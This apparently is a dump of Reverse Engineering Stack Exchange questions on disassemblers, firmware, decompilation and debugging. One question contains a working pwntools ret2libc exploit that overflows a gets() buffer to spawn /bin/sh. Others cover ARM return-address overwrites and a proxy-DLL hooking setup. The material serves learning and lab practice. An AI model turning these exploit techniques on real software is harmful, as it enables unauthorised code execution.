+I'm not even sure if it's because of anti-debugging protections or if it's from the crash itself. I guess that it's the crash's fault because when I try to follow up through this error, IDA stops the process. +At this point I'm not sure what to do, hence why I've came to ask here. Thanks to everyone who takes their time to even try to help me! +Thank you all. Please ask if I missed something (as I said I'm fairly new to this haha), I'll answer really quick. +Image of the assembly when crashing: + +Pseudocode of the function that gives the error. +" +"['compilers', 'section', 'go']"," Title: Does Golang's cgo now support output with .gopclntab?Body: I read this page in which the author, Chris Siebenmann, states that binaries created using cgo will not have the gopclntab or the gosymtab sections. However, I see that on go version go1.13.15 linux/amd64, I have built a Go program which links basic c code, using cgo, and I've confirmed with radare2 that there is in fact a .gopclntab section in the resulting binary. +Has there been a change since this article (and the referenced Building a Better Go Linker article) was written? Or is there some other situation in which cgo may strip these sections? I ask because I have indeed seen other cgo output binaries that have these sections missing, but I have been unable to reproduce this using my version of the cgo toolchain. +Aside from just knowing this fact, this information is relevant to reverse engineering go binaries because the .gopclntab can be used to extract symbol information. In the past, the absence of this table due to cgo compilation has made it more difficult to do so. +" +['android']," Title: Modify framework.dex which is in boot.oat?Body: I pulled down boot.oat from an API22 Android phone. It's Android 5.1 Lollipop which brought the change from Dalvik to ART and is a bit mistified. +As far as I understand, modifying boot.oat is not easy, and permanent, as this file is regenerated whenever a package installation is happening. +Now, I have a class which I need to modify (just a very tiny bit of it), which resides in framework.dex which was the part of boot.oat. +I have two questions: +
    +
  1. How can I repack boot.oat? Taking into account that I haven't touch boot.art?
  2. +
  3. How can I make my change in boot.oat permanent? It's very well possible that I will install some new packages onto this system later, which will (might?) ruin my modification.
  4. +
+Thanks! +" +"['c++', 'exception']"," Title: How does Borland C++ 5 exception handling work?Body: So, I'm still working on reverse-engineering an 1996 game. I have cleared a lot of roadblocks, but one thing that continues to annoy me is exception handling and RTTI metadata. +There is a function extern void _ExceptInit(void *); that is declared from BC5/SOURCE/RTL/SOURCE/THREADS/WIN32/THREAD.C, but its implementation is nowhere to be found - all in the entire BC5 source that contains ExceptInit are a bunch of pre-compiled .OBJ files (NOXX.OBJ / XXV.OBJ) that have no corresponding source attached. They are dis-assemblable in Ghidra and contain labels, I grant Borland that, but there are obviously no comments on how exactly that entire mechanism works. +Same goes for RTTI metadata that lives inside compiled binaries. The "Borland Open Architecture Handbook" aka bc4boa.zip doesn't contain information about either, too (probably because it's too old?), and the Borland books also don't go into detail on implementation. +Any idea where I could go on to search? +" +['ida']," Title: Cannot load pdb in IDA Free 7.6Body: I am new to reverse engineering. I am following a tutorial for Windows Reverse Engineering and IDA is a pretty good software for this approach. +I have just installed the last version of free IDA (7.6) on my Kali linux. +A have an .exe and .pdb. The exe is correctly loaded. +If I ask to load the pdb file, I have an error just after clicking on the button: + +And in the output console: + +Can someone help me please ?
+I have tested with "root" user, same problem. Apparently the plugin is integrated to IDA now so no download is available. +Thanks +" +"['debugging', 'windbg', 'javascript']"," Title: '... Debugger undefined or null reference' error when WinDBG TTD Scripting with JavascriptBody: I tried Javascript scripting on WinDbg (TTD specifically); but even in simple example I get error +Unable to get property 'Debugger' of undefined or null reference. +Line was simply var ctl = host.namespace.Debugger.Utility.Control; but it does not work. +Does TTD have Debugger property? I cannot find any specific document about scripting for TTD; so I assume they have the same interface with regular session. How can we send commands to debugger from a script in TTD sessions? +" +"['windows', 'c++', 'dll', 'dll-injection', 'proxy']"," Title: Proxy dll doesn't load the original dllBody: I have relatively simple code here for the proxy DllMain() function: +
BOOL APIENTRY DllMain(HMODULE hDll, DWORD reason, LPVOID reserved)
+{
+
+
+if (reason != DLL_PROCESS_ATTACH) {
+    return TRUE;
+}
+
+library = LoadLibrary("vcruntime140_.dll");
+if (!library) {
+    MessageBox(NULL, "Failed to load vcruntime140_.dll", "vcruntime140.dll proxy", MB_OK);
+    return FALSE;
+}
+
+if (reason == DLL_PROCESS_DETACH) {
+    FreeLibrary(library);
+    return TRUE;
+}
+
+setupVftableHooks();
+return setupHooks();
+}
+
+For some reason, it doesn't load the original DLL, i.e. vcruntime140_.dll. It loads the proxy one, aka vcruntime140.dll. It tries to load it several times, in fact: +
Loaded   Binaries\Windows-x86_64\vcruntime140.dll'. Symbols loaded.
+Loaded   Binaries\Windows-x86_64\vcruntime140.dll'. Symbols loaded.
+Unloaded Binaries\Windows-x86_64\vcruntime140.dll'
+Loaded   Binaries\Windows-x86_64\vcruntime140.dll'. Symbols loaded.
+Unloaded Binaries\Windows-x86_64\vcruntime140.dll'
+
+But +
    +
  • a) never once it actually tries to load vcruntime140_.dll, which is the original DLL, +
  • +
  • b) it is suspicious that last record in the debugger is Unloaded. Although it must've been loaded at the end, as the program doesn't crash (not on DLL loading anyway), +
  • +
  • c) when the program tries to execute, it complains about +
    +0xC0000139: Entry Point Not Found for different functions in the original DLL. +
    +I suspect it is because the original DLL simply was not loaded (as I've checked the Dependency Walker and Entry Points look fine for all of the original functions). +
  • +
+Update 06.08.21: Created a x86 version of the DLL. It loads and the program starts. +The difference with the above x64 version is that the program doesn't complain about Entry points for the functions. It loads the DLL from it's location within the game folder, but it also loads the equivalent dll from System32, i.e.: +
Binaries\Windows-x86_64\vcruntime140.dll'.      
+Binaries\Windows-x86_64\vcruntime140.dll'       
+Binaries\Windows-x86_64\vcruntime140.dll'.      
+Binaries\Windows-x86_64\vcruntime140.dll'       
+(Win32): Loaded 'C:\Windows\System32\vcruntime140.dll'
+(Win32): Loaded 'C:\Windows\System32\vcruntime140.dll'
+(Win32): Unloaded 'C:\Windows\System32\vcruntime140.dll'    
+
+What is confusing about this is that it doesn't load the actual DLL from the game folder, i.e. vcruntime140_.dll. Will continue trying to debug, but since it doesn't stop at breakpoints in DllMain() function, I don't know what's the best way to do it. +Note that the program runs in the mixed environment, as you can see from the name of the folder, from which it actually starts: Windows-x86_64 +" +"['firmware', 'https-protocol']"," Title: Mitsubishi MAC-577IF2-E WIFI controller Firmware fileBody: I recently installed Mitsubishi AC with Mitsubishi MAC-577IF2-E +Wi-Fi controller, and as always nowadays these devices communicate with Cloud servers first, then with you, which practically means you need to wait minutes for your changes to take effect. +So after setting this one up with Wireshark I found out (via DNS responses) that it communicates with https://production.receiver.melcloud.com/ as its TLS 1.2 (if connecting with Firefox or Chrome I get ERR_SSL_VERSION_OR_CIPHER_MISMATCH, so I guess it's using a different cipher also) I cannot see anything +But the device has HTTP server on port 80 (not the first setup server where you enter Wi-Fi password, but when it's already connected to Wi-Fi if you go to its IP address it has HTTP server there) and requires HTTP basic auth when trying to communicate with it. +So my first step is to fire up binwalk and look at the firmware, but I don't know how to get the firmware, looking in the app is looks like that there is no firmware update option, so I was wondering is there any way to get the firmware somehow (maybe someone has it already) so I can start to play around? +I already found this: https://github.com/ncaunt/meldec +but since my uses HTTPS, I am out of luck here. +Thanks for Anwsering and Best Regards +" +"['ollydbg', 'breakpoint']"," Title: Ollydbg - automatically add hardware breakpoint when step overBody: I put INT3 breakpoint and starting the program. The OllyDbg break at the breakpoint, but when I step over, the OllyDbg put a hardware breakpoint. (Yesterday not happened in OllyDbg, but today during training it happened.) +ٍEdit : A red square usually occurs when step over, but goes to the next line immediately. But in this call, when i click F8 to step over, the program has stopped and no longer works. + +" +"['c', 'buffer-overflow', 'pwntools']"," Title: ret2libc: problem getting exploit work without pwntoolsBody: I am trying to exploit this program test with ret2libc. Only NX is enabled. +
#include <stdio.h>
+
+void vuln() {
+    char buffer[256];
+    gets(buffer);
+}
+
+int main() {
+    vuln();
+    return 0;
+}
+
+I am able to exploit the program with pwntools, but I am unable to exploit it doing ./test < myfile.txt. +Exploit: +
#!/bin/python3
+from pwn import process, gdb, shellcraft, p32, asm
+from pwnlib.util.cyclic import cyclic, cyclic_find
+import os
+
+LOCAL_BIN = "./test"
+SYSTEM_ADDR = 0xf7e10420 # p system
+SHELL_ADDR = 0xf7f5a352 # find &system,+9999999,"/bin/sh"
+EXIT = 0xf7e02f80 # p exit
+OFFSET = 264 # offset to ebp
+P = process(LOCAL_BIN)
+G = gdb.attach(P.pid, "b *0x080491c7")
+
+payload = b''
+payload = payload.ljust(OFFSET, b'A')
+payload += b'BBBB' # fill ebp with \x42
+payload += p32(SYSTEM_ADDR)
+payload += p32(EXIT)
+payload += p32(SHELL_ADDR)
+
+# write bytes to file. ./test < myfile.txt should work the same?
+with open('myfile.txt', 'wb') as w:
+    w.write(payload)
+
+P.sendline(payload)
+P.interactive()
+exit()
+
+What is the difference from running pwntools and piping bytes into the program? +" +"['debugging', 'radare2']"," Title: print format in radare2 cannot output all my stringBody: I was doing a CTF challenge and I need to see the value of RAX register in radare2. +I first dumped all of printable ascii characters as input, one of the function encoded the input and spit out the result into RAX registers. + +Each integer separated by space represents one character. The problem is it cut shorts at the 52th character (... 1248 1264 12) where is my input has 94 characters. +In GDB you can do set print elements 0 to remove the output limit. Is there such thing in radare? How can I print the entire register value in string? +" +"['windows', 'shellcode', 'immunity-debugger']"," Title: Send file or non-printable character in Immunity Debugger argumentsBody: I am a beginner in Reverse Engineering. +I am on Windows and using Immunity Debugger. +I would like to send my payload on the .exe file. +The payload contains non-printable characters. +How I can launch the process in Immunity Debugger with this kind of payload ? +I cannot attach the process separately: it crashes instantly with the payload and I want to know why in Immunity Debugger. +I am OK with other solutions if any. +Thanks! +" +['firmware']," Title: Unknown filesystem in GoPro Hero 9 firmwareBody: I'm trying to extract the GoPro Hero 9's firmware to tweak some of the parameters. This is my first time doing any sort of reverse engineering but I'm hoping that by finding the filesystem I can update the constant and rebuild the firmware. Unfortunately, I haven't been able to identify the firmware's filesystem correctly. The firmware can be downloaded here: https://bit.ly/35JJlcc or here: https://community.gopro.com/t5/en/Introducing-GoPro-Labs/ta-p/603173 by clicking HERO9 Black at the bottom. +binwalk -e doesn't seem to result in any useful information, very similar to this post. Entropy analysis and browsing the hex dump seems to indicate the firmware isn't encrypted but I haven't been able to find any pointers to the underlying filesystem. +In the extracted binwalk -e files I did notice that it seems to find a romfs file, but I suspect this is a false positive based on the file size? I'm not sure where to go from here, would appreciate any tips to figure out the underlying fs. +" +"['ida', 'debugging', 'android', 'debuggers']"," Title: Debugging Native Lib using IDA Pro Fails to Load Registers and other InformationBody: Currently, I am debugging a native library in a test APK, however I am running into issues. First of all, I can connect to the debugger and attach to the process without any issues. In the first image below, I select "Same" as the one on my local machine is the decompiled .so file, and the one from the Android remote, which is on my Emulator, is the actual .so file. + +After I select that, I don't get the typical "Moving Cross References" one would expect and stuff, and only get a popup saying it's "Downloading Symbols". Nevertheless, the dialog completes and the debugger attaches to the process. Here is part of my output Window in IDA Pro: +
C100000: loaded /data/app/com.example.hellojni-1/lib/arm/libImageProcessing.so
+C000000: loaded /system/lib/arm/nb/libdl.so
+C7638000: loaded /system/bin/linker
+Debugger: attached to process /system/bin/app_process32 (pid=18383)
+
+However, all my registers are blank: + +And IDA Pro doesn't let me step through the code, or do anything else expected of the debugger. What could the issue be here? What am I doing incorrectly? The debugger attaches to the process just fine, but all I seem to be able to do is pause and start the process. For reference, these are my processor options: + +Edit: This is the verbose output, where read_regs gives -1. + +" +"['buffer-overflow', 'stack']"," Title: Understanding buffer overflow in ArmBody: Let's say I have a function (vuln) that has a local buffer with size of 0x20 bytes. In the beginning of this function, there is push r4-r7,lr. +Is that correct, that the stack looks like: +Buffer: (0x20)...r4(0x4)...r5(0x4)...r6(0x4)...r7(0x4)...lr (for return address 0x4) ...fp (previous frame pointer 0x4)... And then the stack frame of the caller function. +That means, if I want to jump to the function in the address 0xabcd, I need to put in the buffer AA* 0x32 + 0xabcd (0x32 = buffer +r4-r7) . +Is that correct?the place of lr will be replaced but the place of fp stay correct? +Now, if I really will jump to address of 0xabcd. After this function (0xabcd) will finish. The function will try to restore the fp and will crash because it's frame pointer of the vulnerable function. +Is that correct? +" +"['ida', 'hexrays', 'ida-plugin', 'exception']"," Title: IDA PRO Hex-Rays try-catchBody: I've been working in IDA Pro with a project but there is an issue. Try-Catch statements don't look nice. +I've been searching and it seems like IDA does not support them so I was wondering if there is a way to either: +
    +
  • Hide sections of the Pseudocode
  • +
  • Create extensions for Hex-Rays to support them
  • +
  • Tell IDA how and where the exceptions are
  • +
+This is how the thing looks like at the moment: +
  v3.SavedRegs = &savedregs;
+  v3.Handler = &loc_43B24C;
+  v3.Next = NtCurrentTeb()->NtTib.ExceptionList;
+  __writefsdword(0, &v3);
+  Controls::TControl::ReadState(Self, a2);
+  __writefsdword(0, v3.Next);
+
+And I would like to end up with something like this: +
  try {
+    Controls::TControl::ReadState(Self, a2);
+  } ... {}
+
+Or if I can just hide those parts... +
  //try {          <- Block comment (parts hidden)
+    Controls::TControl::ReadState(Self, a2);
+  //} ... {}       <- Block comment (parts hidden)
+
+Anything is good as long as I can hide those lines because they are distracting AF. Thank you very much! +" +"['c++', 'file-format', 'serial-communication', 'float', 'type-reconstruction']"," Title: determine proprietary 16-bit floating-point formatBody: Background / Introducion +CAN message Mercedes-Benz, cannot determine 16-bit data type for temperature. +
7E 00 32 01 37 00
+
+According to @rnd-ash (who has reverse engineered ACTIA Basic XS Monitor Software) message is structured data type composed of four values. Now we have bit length + offset but unfortunately data type is unknown. +
ECU NAME: SAM_V_A2, ID: 0x0017. MSG COUNT: 4
+    MSG NAME: T_AUSSEN_B - (°C) (° C) Outside air temperature, OFFSET 0, LENGTH 8
+    MSG NAME: P_KAELTE - (bar) (Bar) pressure refrigerant R134a, OFFSET 8, LENGTH 16
+    MSG NAME: T_KAELTE - (°C) (° C) temperature refrigerant R134a, OFFSET 24, LENGTH 16
+    MSG NAME: I_KOMP - (mA) (MA) current compressor main control valve, OFFSET 40, LENGTH 8
+
+@ProjectPhysX suggested it is probably 8/16-bit integer and big endian, so I created that struct. Figured out how to calculate value 0, 1, 3 but unfortunately struggling with value 2 +
typedef struct SAM_V_A2_t {
+  uint8_t T_AUSSEN_B;
+  uint16_t P_KAELTE;
+  uint16_t T_KAELTE;
+  uint8_t I_KOMP;
+} SAM_V_A2_t;
+
+Based on that pictures I can confirm the calculation except for T_KAELTE, which is target of this question (see below). +
std::cout << "T_AUSSEN_B = " << +( (SAM_V_A2.T_AUSSEN_B - 80) / 2 ) << " (°C) Outside air temperature"               << std::endl;
+std::cout << "P_KAELTE = "   << +( SAM_V_A2.P_KAELTE / 10 )         << " (bar) pressure refrigerant R134a"           << std::endl;
+std::cout << "T_KAELTE = "   << +( (SAM_V_A2.T_KAELTE - 80) / 2 )   << " (°C) temperature refrigerant R134a"         << std::endl;
+std::cout << "I_KOMP = "     << +( SAM_V_A2.I_KOMP * 10 )           << " (mA) current compressor main control valve" << std::endl;
+
+ +
  7E             00 32               01 37             00
+
+01111110   00000000 00110010   00000001 00110111   00000000
+
+ 126               50                 311               0
+
+ 126 - 80 / 2      50 / 10             ?                0 * 10
+
+  23°C              5 bar              ? °C             0 mA
+
+
+Question +My last hope was it could be binary16 or bfloat16 but no luck. Maybe it is some proprietary 16-bit floating-point format with different bits for exponent / mantissa + +Maybe we can brute force all permutations for exponent / mantissa to determine data type.
+Question: How can we decode 01 37 so it gives expected value ~ 21.10 °C +(more sample data here) +" +['idapython']," Title: How to get symbol in IDA like done in BN codeBody: I am converting BN code into IDA Pro and stuck at this point, +following are lines in the code which gives the symbol call +
#####Get call symbol (if it exists)
+dr.get_symbol(inst.tokens)
+
+and +
####### NOTE: Might contain FPs. E.g., "call [ebx + 0x4]"
+#####Extract call symbol if it exists
+def get_symbol(self, token):
+    token = [str(t) for t in token]
+    if '[' not in token:
+         return
+
+start = token.index('[')
+end = token.index(']')
+symbol = ' '.join(token[start+1:end])
+self.api.append(symbol)
+
+I want to convert the above code and want the following output in TXT file, but I am getting only strings and not in the register format like below. +Sample output: +
+
---------------** 
+
+ ++++++ API Features ++++++
+    APIs: ebp + 0x8  { arg2 };eax;ecx;ecx + esi;ebp - 0x18  { var_1c }
+ 
+++++++ API Features ++++++
+    APIs: ebp + 0x8  { arg1 };edi
+
+
+" +"['assembly', 'register']"," Title: TEST instruction and ZF flagBody: In the part 07 of lena151 RE tutorial, we arrive to these instructions: +
AL = 0
+TEST AL,AL
+JNZ ...
+
+ +And notice: +
+Because of the JNZ, AL must be different from zero when arriving here to be registered. +
+My question is: Why the AL must be different from zero? If 2 value (0=0) are equal, the Z flag set to 1, because the result of comparison is true! Is this right? +" +['windows']," Title: Cant Save .exe using reflixil and Red Gate Reflector 10.3Body: First off all im pretty new to Reverse Engineering. +Im Stuck on Saving my Project. +When i want to save the Assembly as .exe file Reflexil says cant save, the specified Method is not supported. +I tried it even with the untouched original File, and it gets me the same Error. +Pls help im kinda stuck. +" +"['windows', 'pe', 'executable', 'pe-resources']"," Title: Change manifest file using ResourceHacker CLIBody: I want to automate some manifest file changes (change requestedExecutionLevel level to requireAdministator from asInvoker) so I have to use ResourceHacker CLI. +I have managed to extract the resources file using the command
+ResourceHacker.exe -open rh.exe -save rh.res -action extract -mask MANIFEST, -log CONSOLE +After modifying the rh.res file and after running
+ResourceHacker.exe -open "rh.exe" -save "rh2.exe" -action addoverwrite -res "rh.res" -mask MANIFEST, -log CONSOLE +I get the rh2.exe file which works perfectly fine, but doesn't have any changes as far as I can see. However, checking the MD5 I can observe that the hash is different. +" +"['disassembly', 'c++']"," Title: How to identify method order in disassembled C++ objectBody: Here are some chunks: +
  v13 = cocos2d::FileUtils::getInstance(v9);
+  (*(void (__fastcall **)(char *))(*(_DWORD *)v13 + 64))(&v46);
+
+  v19 = cocos2d::FileUtils::getInstance(fileHandle);
+  v21 = *(void (__fastcall **)(char *, int, unsigned __int8 *))(*(_DWORD *)v19 + 28);
+  v21(&v44, v20, &v42);
+
+  v23 = cocos2d::FileUtils::getInstance(v22),
+  v24 = (cocos2d::FileUtils *)(*(int (**)(void))(*(_DWORD *)v23 + 152))(),
+
+cocos2d is an open source project, and I have downloaded it, but I have no idea how to determine what the order of the methods are. So, how do I identify what method 28, 64, or 152 really is? (Dead-listings only, can't execute the code to find the answer). +" +"['ghidra', 'embedded']"," Title: Forcing Ghidra's decompiler to show unused stack variablesBody: I'm reversing an ARM64 bootloader using Ghidra. The bootloader doesn't use the MMU and so works exclusively with physical addresses, which on this particular chip all fit in 32 bits (the memory map is only 4GB). As such, some peripherals' DMA address registers are only 32 bits wide even though the core is ARM64. +I've found that the decompiler omits important instructions for one particular function that deals with these registers. The function sets up some data structures on its stack and then loads a (32-bit) pointer to them into a DMA address register. Because the pointer gets truncated to fit in the register, though, Ghidra doesn't appear to recognize that the stack variables are ever referenced and so the decompiler output completely omits them! +Here's a demo in C with similar code flow (plus an extra hack to make it run successfully for pointers that don't fit in 32 bits). Compiling it with GCC exhibits the issue for me both on ARM64 (either with or without optimization) and on x86 (without optimization): +
#include <stdio.h>
+#include <stdint.h>
+
+void print_stack_data(uint32_t addr_low) {
+    uint32_t *ptr;
+
+    // Infer the top half of the address from our own stack's location. This
+    // is purely to make this demo work; in my real binary, the addresses in
+    // question are physical addresses that are known to always have a top
+    // half of zero.
+    ptr = (uint32_t *)(((uint64_t)&ptr & 0xffffffff00000000) | addr_low);
+
+    printf("%08x, %08x, %08x, %08x\n", ptr[0], ptr[1], ptr[2], ptr[3]);
+}
+
+int main() {
+    // Some arbitrary data.
+    uint32_t numbers[4] = {0x1234, 0x5678, 0x99999999, 0};
+
+    // More operations, yay!
+    numbers[3] = (numbers[0] << 16) + numbers[1];
+
+    // Put the parameter into a new variable so that the compiler doesn't
+    // just put the entire pointer into the argument register, which Ghidra
+    // does understand.
+    uint32_t numbers_low = (uint64_t)numbers;
+
+    // Ghidra doesn't realize we're giving out a stack address here, so the
+    // decompiler doesn't show all the previous operations on numbers.
+    print_stack_data(numbers_low);
+}
+
+Here's what Ghidra's decompilation for the optimized ARM64 binary looks like. Note that numbers isn't present at all: + +Is there a way around this issue that doesn't involve patching the binary (which is what I'm currently doing)? Can I force the decompiler to treat a range of stack addresses as used, even if it can't see where they're used? +" +"['bin-diffing', 'tool-bindiff']"," Title: use BinDiff to compare two chosen functionsBody: Is it possible to use BinDiff to get the comparison score between two specific functions from the databases? By default BinDiff will automagically match functions, and then only output the comparison score between the function matches that it finds. +I have an a priora candidate function match [func_i from database A, func_j from database B] and I want to get the BinDiff comparison score of this pair. +Bonus points if this can be batched and run from the command line, where I can provide a list of function pairs and get the BinDiff comparison score for each pair. +" +"['executable', '.net', 'dnspy']"," Title: dnSpy works really slow. How can I fix it?Body: I've been doing some stuff with a pre-compiled .NET executable. It is my first time reversing something, so I don't know much. +I got a bunch of programs like ILSpy, dnSpy and dotPeek. They all do as much as they can, not 100% accurate, but quite enough. I found that it is best to use dnSpy as I can easily change some methods without having to recompile the whole project. +However, it takes so much time to decompile some classes with this piece of software. It takes about 20 seconds to decompile Main.cs (>50k lines, perfect engineering yeah) with ILSpy, and it takes an eternity (more than 5 minutes) to decompile it with dnSpy. +The codes these programs give out are pretty much the same. I have a pretty weak PC, but according to the task manager, my 6 core CPU never goes above 50% on any of the cores while decompiling. Moreover, whenever I go into editing mode to edit some classes or methods, the editor goes stop-motioning, with response time about 3 seconds with that Main.cs file and quite a low performance on smaller files. +So I am thinking that maybe there are some settings I need to tweak for better performance? +" +"['decompilation', 'c++', 'game-hacking']"," Title: How to make sense of the pointer in reversed function call?Body: I have the code below, derived from the reversed function in the original application: +
gladius::world::World::create(*(gladius::world::World**)(*(char*)(this + 0x5e8) + 0x50));
+
+The create function looks like this: +
void __thiscall gladius::world::World::create(World *this) {
+
+Could someone please describe the way the function is setup and may be simplify the notation above if possible? +So, this is a create function call, which takes as an argument the pointer to a particular address. +
    +
  • How the pointer address is calculated in this case?
  • +
  • What is the exact meaning of (this + 0x5e8) + 0x50 - 0x5e8 offset to this and then 12th element of the structure (i.e. structure of 4 bytes - address 48? )
  • +
  • What 0x5e8 represents in this case (apart of being an offset, I mean what this offset could possibly point to)?
  • +
+This is how it looks further in the code: +
    this_01 = GUI::getWorld(*(GUI **)(this + 0x88));
+    gladius::world::World::create(this_01);
+
+where GUI::getWorld(*(GUI **)(this + 0x88)); points to the following function: +
World * __thiscall gladius::gui::GUI::getWorld(GUI *this)
+
+{
+  return *(World **)(*(longlong *)(this + 0x5e8) + 0x50);
+}
+
+This is where the address (this + 0x5e8) + 0x50) came from. +I still don't understand the significance of these addresses, as create is a member function of World and it is called with an instance of that class as a parameter? +And the address of that instance is stored in class GUI on the address: (this + 0x5e8) + 0x50)? +Or I am confusing the above and this + 0x5e8 points to some structure in the World class, which must be somewhere at 58/4 or at 58/8 address and then within that structure I am looking at 50/4 member? +" +"['disassembly', 'malware', 'static-analysis']"," Title: Format of data in the .code/.text sectionBody: I'm attempting to dissect/disassemble a windows PE file under Linux using objdump. On surface analysis, the .code section was disassembled to : +
tmp.exe:     file format pei-i386
+
+
+Disassembly of section CODE:
+
+00401000 <CODE>:
+  401000:       04 10                   add    $0x10,%al
+  401002:       40                      inc    %eax
+  401003:       00 03                   add    %al,(%ebx)
+  401005:       07                      pop    %es
+  401006:       42                      inc    %edx
+  401007:       6f                      outsl  %ds:(%esi),(%dx)
+  401008:       6f                      outsl  %ds:(%esi),(%dx)
+  401009:       6c                      insb   (%dx),%es:(%edi)
+  40100a:       65                      gs
+  40100b:       61                      popa
+  40100c:       6e                      outsb  %ds:(%esi),(%dx)
+  40100d:       01 00                   add    %eax,(%eax)
+  40100f:       00 00                   add    %al,(%eax)
+  401011:       00 01                   add    %al,(%ecx)
+  401013:       00 00                   add    %al,(%eax)
+  401015:       00 00                   add    %al,(%eax)
+  ...
+
+Then I looked at the entry point which was 0x45e534, which +ended up within an opcode: +

+  45e52f:       00 dc                   add    %bl,%ah
+  45e531:       e2 45                   loop   0x45e578
+  45e533:       00 55 8b                add    %dl,-0x75(%ebp)
+  45e536:       ec                      in     (%dx),%al
+  45e537:       83 c4 f0                add    $0xfffffff0,%esp
+  45e53a:       b8 04 e3 45 00          mov    $0x45e304,%eax
+  45e53f:       e8 e0 84 fa ff          call   0x406a24
+
+Which, I feel is very wrong; but since my understanding of assembly is lacking, I could be wrong. +So having read [1] and the chapter on Disassembly in "Practical Malware Analysis", I realized that there could be data in the .text (or in this case, CODE) section. So I took a gander at the +hex dump on the file and came across at the beginning of +the code section: +
0000400: 0410 4000 0307 426f 6f6c 6561 6e01 0000  ..@...Boolean...
+0000410: 0000 0100 0000 0010 4000 0546 616c 7365  ........@..False
+0000420: 0454 7275 658d 4000 2c10 4000 0204 4368  .True.@.,.@...Ch
+0000430: 6172 0100 0000 00ff 0000 0090 4010 4000  ar..........@.@.
+0000440: 0107 496e 7465 6765 7204 0000 0080 ffff  ..Integer.......
+0000450: ff7f 8bc0 5810 4000 0104 4279 7465 0100  ....X.@...Byte..
+0000460: 0000 00ff 0000 0090 6c10 4000 0104 576f  ........l.@...Wo
+0000470: 7264 0300 0000 00ff ff00 0090 8010 4000  rd............@.
+0000480: 0108 4361 7264 696e 616c 0500 0000 00ff  ..Cardinal......
+0000490: ffff ff90 9810 4000 0a06 5374 7269 6e67  ......@...String
+...
+
+
+This lead me to believe that there is definitely DATA in the code section [but, again, I could be wrong]. +My question is (even given [1]), is it possible to figure out what the format of the DATA is in that part of the binary? +With my limited understanding, I'm guessing it's a structure of some sort or possibly a long list of DB/DW but (again, I could be wrong). +For instance, the very first set: +
0410 4000 0307 426f 6f6c 6561 6e01 00 00..
+
+
+Could the above be translated to something like (in assembly) +
   DB 0x00401004
+   DB 0x0703
+   DB "Boolean"
+   ...
+
+I tried to look for the opcode DB in [2] but couldn't find it, so I'm wondering if I'm barking up the wrong tree. +Any help/pointers appreciated +:ewong +[1] - How do reverse engineers commonly detect the format of binary data? +[2] - http://mathemainzel.info/files/x86asmref.html +" +"['disassembly', 'arm', 'ios', 'lldb']"," Title: Why the disassembled code in IDA is different from in xcode? And How to solve unk_xxxx in IDA View?Body: + +I have built an executable file (the architecture is ARMv7, the base SDK is iOS), which depended on an xxx.a file in xcode; I don't have the source code of thexxx.a. +I want to check some logic in `xx. So I copy the final executable file to my Windows PC, use IDA 7.5 to disassemble it. At the same time, I debug this file in xcode using lldb. +The pictures show some strange thing. There is an unk_xxx in IDA but in xcode there is some other ARM instructions. +Question one: Why there is an unknow flag in IDA views? +I searched this on Google but there is nothing valuable. Can there is a possibility IDA 7.5 can not support adrp instruction. So it treats instruction as adrl ,so some error happens. +Question two: Is there any way to fix it? +As there is an unk_xxx in IDA text view, I found some content missing in pseudocode. This blocked me to read the whole logic of this function. I hope someone can give me some insight, so I can push on. +Thanks very much! +When ADRL is been detected, unk_xxxx appears, then pseudocode of disassembling code of this function are missing. + +" +"['ida', 'hexrays', 'delphi']"," Title: IDA Pro shows an array where two varaibles should beBody: I'm working in a Delphi binary and found a little issue while generating pseudocode. +This is the output (after some clean up) that IDA gives me: +
Integer __fastcall LBCommon::TLBMemStream::GetFromId(PLBMemStream Self, Integer Id)
+{
+  int v4[2]; // [esp+0h] [ebp-10h] BYREF
+
+  if ( LBCommon::IndexFromId(Self->FFullData, Id, &v4[1]) )
+    v4[0] = &Self->FFullData[*&Self->FFullData[sizeof(TLBDataEntry) * v4[1] + 0x19] + offsetof(TLBDataItem, FData)];
+  else
+    v4[0] = 0;
+  return v4[0];
+}
+
+As you can see, it is just a simple piece of code where it does some simple math en then returns. But there is a problem: v4 is represented as an array of integers instead of two separated variables. +In theory, v4[0] is a "Pointer" to memory that will be returned while v4[1] is a variable that should have a number of times to advance. But IDA thinks of them as an array and just sticks them together. I tried separating them by setting the type to "int v4" and it worked, but IDA then told me: +
+/ local variable allocation has failed, the output may be wrong! +
+It also shows the two variables generated with the color red signaling that something is wrong. +I don't know a lot about how IDA generates the Pseudocode from the ASM, but I believe that the issue is with how the code access the memory regions. For v4[0] it does "mov edx, [esp+10h+var_10]" and for v4[1] it does "mov edx, [esp+10h+var_10+4]" so I believe that it is the reason why they are seen as an array. +Here is the function in ASM just in case: +
CODE:0046A7E4 var_10          = dword ptr -10h
+CODE:0046A7E4
+CODE:0046A7E4                 push    ebx
+CODE:0046A7E5                 push    esi
+CODE:0046A7E6                 add     esp, 0FFFFFFF8h
+CODE:0046A7E9                 mov     esi, edx
+CODE:0046A7EB                 mov     ebx, eax
+CODE:0046A7ED                 lea     ecx, [esp+10h+var_10+4] ; Index
+CODE:0046A7F1                 mov     edx, esi        ; FId
+CODE:0046A7F3                 mov     eax, [ebx+4]    ; Header
+CODE:0046A7F6                 call    LBCommon::IndexFromId
+CODE:0046A7FB                 test    al, al
+CODE:0046A7FD                 jz      short loc_46A818
+CODE:0046A7FF                 mov     eax, [ebx+4]
+CODE:0046A802                 mov     edx, [esp+10h+var_10+4]
+CODE:0046A806                 mov     eax, [eax+edx*8+19h]
+CODE:0046A80A                 mov     edx, [ebx+4]
+CODE:0046A80D                 lea     eax, [edx+eax]
+CODE:0046A810                 add     eax, 0Dh
+CODE:0046A813                 mov     [esp+10h+var_10], eax
+CODE:0046A816                 jmp     short loc_46A81D
+CODE:0046A818 ; ---------------------------------------------------------------------------
+CODE:0046A818
+CODE:0046A818 loc_46A818:
+CODE:0046A818                 xor     eax, eax
+CODE:0046A81A                 mov     [esp+10h+var_10], eax
+CODE:0046A81D
+CODE:0046A81D loc_46A81D:
+CODE:0046A81D                 mov     eax, [esp+10h+var_10]
+CODE:0046A820                 pop     ecx
+CODE:0046A821                 pop     edx
+CODE:0046A822                 pop     esi
+CODE:0046A823                 pop     ebx
+CODE:0046A824                 retn
+
